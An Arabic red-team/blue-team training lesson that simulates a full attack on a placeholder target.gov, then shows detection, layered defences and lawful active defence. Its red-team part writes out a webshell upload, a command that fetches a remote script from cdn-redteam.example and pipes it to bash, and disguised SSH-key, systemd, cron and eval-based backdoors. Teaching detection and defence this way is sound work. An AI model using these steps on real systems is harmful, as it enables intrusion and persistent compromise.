الفرق الحمراء — الهجوممتقدم150mL50

محاكاة سيناريو هجوم شامل واستجابة دفاعية

سلسلة هجوم كاملة من الاستطلاع إلى التثبيت ثم الرد الدفاعي

#Kill Chain#End-to-End#Backdoor#Blue Team#Active Defense

السيناريو — هجوم كامل على target.gov

تشبيه — شرح مبسط
هذا الدرس ليس قائمة أوامر. هو قصة كاملة: فريق أحمر مفوّض يخترق بوابة حكومية وهمية اسمها target.gov من الصفر إلى الباب الخلفي، ثم يُعاد نفس الفيلم بعدسة الفريق الأزرق: ماذا رأى SOC؟ أي تنبيه أُطلق؟ كيف صدّ الهجوم؟ و كيف يُنفّذ الرد العكسي — التعرّف على المهاجم، خداعه، و بناء قضية إسناد قانونية.
تنبيه قانوني
هذا السيناريو على هدف وهمي (target.gov — RFC 2606) ضمن تدريب حكومي مفوّض. تنفيذ أي خطوة هنا ضد أصل حقيقي بدون تفويض مكتوب صريح = جريمة جنائية. الـ Active Defense (الرد العكسي) تحديداً منطقة قانونية حساسة — لا تتجاوز شبكتك إلا بأمر قضائي أو ضمن إطار CFAA / تشريعات بلدك.

الإطار: Cyber Kill Chain لـ Lockheed (Recon → Weaponize → Deliver → Exploit → Install → C2 → Actions)، مع خرائط MITRE ATT&CK لكل خطوة. الفريق الأزرق يُمسك بنا في 4 نقاط محتملة — هدفنا أن نفهمها جميعاً.

الجزء الأول — الفريق الأحمر

التفويض: خطاب مكتوب من الجهة، نطاق محدد (*.target.gov)، نافذة زمنية، نقطة اتصال طارئة، قائمة أنظمة محظورة (PROD-DB، SCADA). كل أمر يُسجَّل في script(1)أو في تسجيل Burp.

01
الاستطلاع السلبي — لا تلمس الهدف

قبل أي حزمة باتجاه الخادم، نجمع كل ما هو عام. المهاجم الذكي يمشي في الظل أولاً.

bash
# 1. جرد الـ subdomains من الشهادات (passive)
curl -s "https://crt.sh/?q=%25.target.gov&output=json" | jq -r '.[].name_value' | sort -u

# 2. سجلات DNS التاريخية
amass enum -passive -d target.gov -o subs.txt

# 3. ملفات مسرّبة (PDF, docx) قد تفضح أسماء مستخدمين
google-dorks: site:target.gov filetype:pdf
metagoofil -d target.gov -t pdf,docx -l 100 -o ./loot

# 4. GitHub — مفاتيح API، نسخ احتياطية
gh search code "target.gov" --json repository,path
trufflehog github --org=target-gov --only-verified

# 5. LinkedIn / Wayback — أسماء موظفين، تقنيات قديمة
linkedin2username -c "Target Gov Authority"
waybackurls target.gov | grep -E "\.(env|bak|old|swp)$"

ATT&CK: T1589 (Gather Victim Identity)، T1592 (Gather Victim Host)، T1596 (Search Open Technical DBs).

02
الاستطلاع النشط — أول حزمة تصل الهدف

الآن نُرسل طلبات. كل حزمة تُسجَّل في WAF/EDR. نعمل ببطء و من IPs متعددة.

bash
# 1. بصمة الـ stack
whatweb -a 4 https://www.target.gov
wafw00f https://www.target.gov          # كشف WAF (Cloudflare? F5? Imperva?)
curl -sI https://www.target.gov | head  # Server, X-Powered-By

# 2. مسح خفيف (rate-limited)
nmap -sS -T2 --top-ports 1000 -Pn www.target.gov
# لاحقاً، بعد إيجاد origin مكشوف:
nmap -sV -sC -p 80,443,8080,8443,3306,5432 origin.target.gov

# 3. اكتشاف المسارات
ffuf -u https://www.target.gov/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
     -mc 200,301,401,403 -t 20 -p 0.3
# /admin, /api/v1, /backup.zip, /.git/HEAD ...
نقطة كشف #1
الـ WAF يرى نمط ffuf فوراً (User-Agent، rate، 404 spike). محترف: يُغيّر User-Agent، يستخدم --delay، يدور IPs عبر proxychains + residential proxies.
03
فحص الثغرات و الفرز

لدينا الآن قائمة أصول. نُشغّل ماسحات مُتخصّصة و نُفلتر النتائج يدوياً.

bash
# Nuclei — قوالب CVE معروفة (3900+ template)
nuclei -u https://portal.target.gov -severity high,critical -rl 30

# Nikto — مشاكل على مستوى الخادم
nikto -h https://portal.target.gov -Tuning x6

# اختبار يدوي للـ params التي وجدها arjun
arjun -u https://portal.target.gov/api/v2/users
# ?id=, ?lang=, ?file=, ?redirect= ...

# فحص JS bundles لاكتشاف endpoints مخفية
linkfinder -i 'https://portal.target.gov/static/*.js' -o cli
$ $ nuclei -u https://portal.target.gov -severity critical
[CVE-2023-XXXXX] [http] [critical] https://portal.target.gov/api/upload
[apache-path-traversal] [http] [high] https://portal.target.gov/static/../
[exposed-git] [http] [high] https://portal.target.gov/.git/HEAD

ATT&CK: T1595.002 (Vulnerability Scanning). ثلاثة خيوط محتملة — نختار الأهدأ صوتاً: .git المكشوف.

04
الاستغلال — من ثغرة إلى shell

الـ .git/ المكشوف يُعطينا الكود المصدري. هناك نجد الجوهرة الحقيقية.

bash
# 1. سحب المستودع كاملاً
git-dumper https://portal.target.gov/.git/ ./loot/source

# 2. مراجعة الكود — مفاتيح، endpoints، منطق ضعيف
cd loot/source
trufflehog filesystem . --only-verified
grep -rE "API_KEY|SECRET|PASSWORD|TOKEN" --include="*.env*" --include="*.config*"

# وجدنا في .env.production:
# DB_PASS=Sup3r-Secret-2024
# ADMIN_TOKEN=eyJhbGc...
# AWS_ACCESS_KEY_ID=AKIA...

# 3. مراجعة المسار /api/upload الذي ظهر في nuclei
# الكود يستقبل filename دون تعقيم → path traversal → write webshell
curl -X POST https://portal.target.gov/api/upload \
  -H "Authorization: Bearer eyJhbGc..." \
  -F "file=@shell.php;filename=../../public/uploads/x.php"

# 4. تأكيد التنفيذ
curl "https://portal.target.gov/uploads/x.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
نقطة كشف #2
رفع ملف .php في مسار uploads = توقيع نموذجي للـ EDR/WAF. محترف: يستخدم webshell بصيغة .phtml أو يُحقن في ملف موجود، أو يستخدم memory-only payload (Behinder, AntSword obfuscated).
05
ترسيخ الموطئ — من webshell إلى C2 مستقر

الـ webshell هشّ. نحتاج اتصالاً ثنائياً مُشفّراً مع server خارجي = C2.

bash
# 1. على الـ webshell نُنزّل beacon
curl https://portal.target.gov/uploads/x.php?cmd=$(echo -n \
  "curl -sk https://cdn-redteam.example/u | bash" | base64)

# 2. الـ payload المُحمّل (Sliver/Mythic/Cobalt Strike مُكوّنة بـ HTTPS jitter)
# /tmp/.X11-cache (يبدو ملفاً نظامياً)
chmod +x /tmp/.X11-cache && /tmp/.X11-cache &

# 3. على C2 (Sliver مثال)
> sessions
ID  Name      Transport  RemoteAddress      Hostname
1   sweetgum  https      10.20.30.5:54321   web01.target.gov

# 4. حركة جانبية — تعداد ثم استخراج credentials
> use 1
> ps              # هل هناك أنتي فيرس؟
> ls /home        # حسابات
> shell
$ sudo -l         # هل www-data له sudo بدون كلمة سر على شيء؟
$ cat /etc/passwd
$ find / -perm -4000 2>/dev/null   # SUID
$ ss -tnlp        # ما الذي يستمع داخلياً؟ — DB؟ Redis؟

ATT&CK: T1505.003 (Web Shell)، T1071.001 (App Layer Protocol — HTTPS C2)، T1059.004 (Unix Shell).

06
الباب الخلفي — البقاء عبر إعادة التشغيل

هدفنا أن نعود حتى لو أُغلق webshell. أربع طبقات بقاء، مرتبة من الأهدأ إلى الأعلى صوتاً:

1. SSH key في حساب خدمة
bash
# نضيف مفتاحنا إلى authorized_keys لمستخدم نادر الاستخدام
echo "ssh-ed25519 AAAA..." >> /home/backup/.ssh/authorized_keys
# تعديل sshd_config: AllowUsers backup
2. systemd timer مُموّه
bash
# /etc/systemd/system/apt-cache-clean.timer
# يبدو كصيانة، يُشغّل beacon كل 4 ساعات
[Timer]
OnBootSec=15min
OnUnitActiveSec=4h
3. Cron job في /etc/cron.d
bash
# يستخدم اسماً نظامياً
echo "*/30 * * * * root /usr/lib/.cache/sync" \
  > /etc/cron.d/logrotate-sync
4. Web backdoor ثاني
bash
# داخل ملف PHP موجود — سطر واحد
# يُفعَّل فقط بـ header خاص
if(isset($_SERVER['HTTP_X_FWD_VER']) &&
   $_SERVER['HTTP_X_FWD_VER']==='9a3f') eval(...);

ATT&CK: T1098.004 (SSH Auth Keys)، T1053.006 (systemd Timers)، T1505.003 (Web Shell).

07
الأهداف — لماذا نحن هنا

الباب الخلفي ليس الهدف. الهدف هو البيانات أو التأثير. حسب التفويض:

  • تعداد قاعدة البيانات → سحب hash كلمات المرور (لإثبات الوصول، لا للنشر).
  • الوصول إلى مفتاح AWS الذي وجدناه → تعداد S3 buckets، lambda functions.
  • التحرك جانبياً نحو AD (إذا كان داخل النطاق) — Kerberoasting، AS-REP roasting.
  • التوثيق: لقطات شاشة، hashes (مُقصّة)، مسارات ATT&CK، خط زمني دقيق.
ما لا نفعله أبداً
لا نُسرّب بيانات حقيقية خارج المختبر. لا نُشغّل ransomware/wiper. لا نلمس SCADA/PROD-DB المحظورة. لا نترك الباب الخلفي بعد انتهاء النافذة — ننظّفه و نُسلّم وثيقة "Cleanup Verification" للجهة.

الجزء الثاني — الفريق الأزرق: ماذا رأينا؟

تشبيه — شرح مبسط
نُعيد الشريط من جانب SOC. كل خطوة من الفريق الأحمر تترك أثراً: log entry، حزمة شاذة، طفل عملية غير معتاد، اتصال صادر إلى ASN غريب. السؤال ليس "هل تركت أثراً؟" بل "هل هناك من يُراقب الأثر الصحيح؟"
01
ما كان يجب أن يُلتقَط في الاستطلاع
text
المصدر: WAF / Reverse Proxy logs

[10:14:02] 198.51.100.7 GET /admin       → 403  UA="Mozilla/5.0 ffuf"
[10:14:02] 198.51.100.7 GET /backup.zip  → 404
[10:14:02] 198.51.100.7 GET /.git/HEAD   → 200  ← انذار!
[10:14:03] 198.51.100.7 GET /api/v1      → 401
... (1200 طلب في 90 ثانية)

قواعد الكشف:
1. Splunk/Sigma: > 100 طلب 4xx/5xx من نفس IP خلال 60s
2. User-Agent يحوي "ffuf|sqlmap|nuclei|nikto|gobuster"
3. وصول ناجح إلى /.git/* أو /.env* أو /backup*
4. تنبيه crt.sh monitoring — شهادة جديدة لنطاقنا تظهر في log
02
ما كان يجب أن يُلتقَط في الاستغلال

رفع .php في مجلد uploads = توقيع كلاسيكي.

text
المصدر: File Integrity Monitoring (Wazuh / auditd)

type=PATH msg=audit(...): name="/var/www/public/uploads/x.php"
  nametype=CREATE  uid=33 (www-data)

قاعدة Sigma:
detection:
  selection:
    Image: '*php*'
    TargetFilename|endswith: ['.php', '.phtml', '.jsp']
    TargetFilename|contains: '/uploads/'
  condition: selection

+ EDR rule: عملية www-data تُنفّذ /bin/sh أو curl خارج localhost
03
ما كان يجب أن يُلتقَط في الـ C2

الـ beacon يتصل خارجياً بشكل دوري. هذا أوضح إشارة في كل السيناريو.

text
المصدر: Zeek / Suricata + DNS logs

# beaconing detection
RITA: تكرار اتصالات إلى نفس IP بفاصل ثابت (jitter منخفض)
  → score > 0.8 = beacon محتمل

# JA3/JA4 fingerprint
TLS handshake من /tmp/.X11-cache ≠ توقيع متصفّح أو curl معتاد
  → JA3 hash = blacklisted (Sliver default)

# DNS
استعلام عن cdn-redteam.example من خادم production
  → ASN غير معروف، عُمر النطاق < 30 يوم = إنذار
القاعدة الذهبية
خادم production لا يجب أن يبدأ اتصالات صادرة إلا لقائمة بيضاء معروفة (apt mirrors، cloud APIs، NTP). أي شيء آخر = حادث حتى يُثبَت العكس.
04
ما كان يجب أن يُلتقَط في الباب الخلفي
text
auditd: تعديل /home/*/.ssh/authorized_keys
  → إنذار حرج (لا يحدث في العمليات الطبيعية)

systemd: وحدة جديدة في /etc/systemd/system/*.timer
  → diff مع baseline الـ FIM

cron: ملف جديد في /etc/cron.d/
  → نفس الشيء

osquery query تشغّل كل 15 دقيقة:
SELECT * FROM crontab WHERE path NOT IN (<baseline>);
SELECT * FROM authorized_keys WHERE uid != <expected>;

الجزء الثالث — الدفاع: كيف نُغلق هذه السلسلة

الدفاع متعدد الطبقات (Defense in Depth)
لا توجد رصاصة فضية. كل طبقة هنا قد تُكسر — لكن كسر الخمس طبقات معاً مكلف جداً للمهاجم.
طبقة 1 — تقليل سطح الهجوم
  • مراجعة دورية لـ crt.sh — لا شهادات لنطاقات غير معتمدة.
  • حظر الوصول إلى .git/, .env, .svn/ على مستوى reverse proxy.
  • عدم نشر مستودعات تطوير على origin مكشوف.
  • أسرار في Vault/AWS Secrets Manager، لا في .env.
طبقة 2 — WAF و rate limiting
  • قواعد ModSecurity CRS أو AWS WAF managed rules.
  • rate limit على endpoints حسّاسة (login، upload، API).
  • تحدّي JS / CAPTCHA على نمط فحص آلي.
  • حظر User-Agents معروفة لأدوات pentest في production.
طبقة 3 — تصلّب التطبيق
  • تعقيم filename + قائمة بيضاء للامتدادات.
  • مجلد uploads خارج DocumentRoot — لا ينفّذ كـ PHP.
  • مبدأ أقل صلاحية: حساب التطبيق لا يكتب خارج مجلده.
  • SAST/DAST في الـ CI — لا ندخل production بثغرة معروفة.
طبقة 4 — تجزئة الشبكة
  • خوادم web لا تتصل بـ DB إلا عبر منفذ واحد محدد.
  • egress firewall — قائمة بيضاء صارمة للـ DNS و IPs.
  • VLANs منفصلة: web ↔ app ↔ DB ↔ admin.
  • Zero Trust: كل اتصال داخلي يُصادَق و يُسجَّل.
طبقة 5 — كشف و استجابة
  • EDR على كل خادم (CrowdStrike/SentinelOne/Wazuh).
  • SIEM يجمع: web logs + auditd + Zeek + DNS.
  • قواعد Sigma للـ TTPs أعلاه — مُختبرة بـ atomic-red-team.
  • SOAR playbook: عند تنبيه webshell → عزل تلقائي للحاوية.
طبقة 6 — استعداد بشري
  • Tabletop شهري — يحاكي بالضبط هذا السيناريو.
  • IR runbook مكتوب، مجرَّب، و معروف لكل العاملين.
  • Threat hunting أسبوعي — لا ننتظر التنبيه.
  • Purple team: الأزرق و الأحمر يجلسان معاً.

الجزء الرابع — الرد العكسي (Active Defense)

حدود قانونية صارمة
"Hack back" — اختراق المهاجم — غير قانوني في أغلب الولايات القضائية بما فيها CFAA الأمريكي. الرد العكسي المسموح يقع في 3 فئات: (1) داخل شبكتك، (2) خداع، (3) تعاون قانوني مع جهات إنفاذ.
1. Honeytokens & Honeypots
  • وثيقة passwords.xlsx وهمية في share — أي وصول لها = حادث مؤكد.
  • حساب AD وهمي بصلاحيات مغرية — أي محاولة Kerberoast = إنذار.
  • مفتاح AWS canary (Thinkst Canarytokens) — يُطلق إنذاراً عند أول استخدام.
  • خادم T-Pot في DMZ — يجمع TTPs و IPs لشبكة المهاجم.
2. خداع المهاجم في الشبكة
  • عند كشف beacon: لا تقطع فوراً. راقب لجمع TTPs.
  • أعد توجيه C2 traffic إلى sinkhole — يستمر المهاجم بظنه يُسيطر.
  • أطعمه بيانات وهمية مُحبكة — وثائق وهمية موسومة بـ canarytoken.
  • هذا يكشف الـ infrastructure الكاملة للمهاجم قبل الطرد النهائي.
3. الإسناد (Attribution) القانوني
  • اجمع: IPs، JA3، أسماء أدوات، أسلوب التشغيل (TTPs)، أوقات النشاط (timezone).
  • قارن مع تقارير CTI (Mandiant, CrowdStrike, Talos) — هل النمط معروف؟
  • سلسلة الحراسة (chain of custody) للأدلة — صور disk، memory dumps، PCAPs.
  • سلّم الحزمة لـ CERT الوطنية / إنفاذ القانون. لا تنشر علنياً قبل إذنهم.
4. تعاون مع مزوّدي البنية التحتية
  • إبلاغ ASN/Hosting الذي يستضيف C2 → takedown.
  • إبلاغ مُسجّل النطاق → تعليق الدومين.
  • مشاركة IoCs عبر MISP / ISAC القطاعي.
  • طلب RPZ من مزوّد DNS لحظر النطاق على نطاق وطني.
مثال عملي — كيف اكتُشفت SolarWinds
Mandiant (FireEye) لم تُخترق المهاجم. اكتشفوا beacon جديد، تتبّعوه، وجدوا backdoor في SolarWinds Orion، ثم نشروا الـ IoCs عبر القنوات الرسمية. هذا هو الرد العكسي الفعّال: كشف، احتواء، إسناد عبر القنوات الشرعية.

خلاصة — الجدول الكامل

text
المرحلة         الفعل (أحمر)              الأثر (أزرق)              الدفاع
────────────────────────────────────────────────────────────────────────
Recon           crt.sh, github dorks       —                       حذف الأسرار من Git
Scanning        ffuf, nuclei               WAF: 4xx burst          rate limit + IP rep
Discovery       /.git/HEAD = 200           access log              حظر الملفات المخفية
Initial Access  upload .php عبر traversal  FIM: ملف جديد           sanitize + sandbox
C2              HTTPS beacon               Zeek: beaconing JA3     egress allowlist
Persistence    systemd timer + SSH key    auditd: cron/ssh diff   FIM + osquery
Actions         سحب hashes                 DB egress شاذ           DLP + canary creds

Active Defense: honeytokens → اكتشاف فوري | sinkhole → جمع TTPs | CERT → takedown

الدرس الأهم: المهاجم يحتاج النجاح مرة واحدة، المدافع كل مرة — لكن المدافع لديه ميزة اللاتماثل المعاكس: المهاجم يحتاج إخفاء كل أثر، المدافع يحتاج تنبيهاً واحداً صحيحاً.

مراجع و قراءة إضافية

  • Lockheed Martin — Cyber Kill Chain whitepaper.
  • MITRE ATT&CK Enterprise Matrix.
  • Active Defense Harbinger Distribution (ADHD) — Black Hills InfoSec.
  • SANS FOR508 — Advanced IR & Threat Hunting.
  • Mandiant M-Trends Report (annual).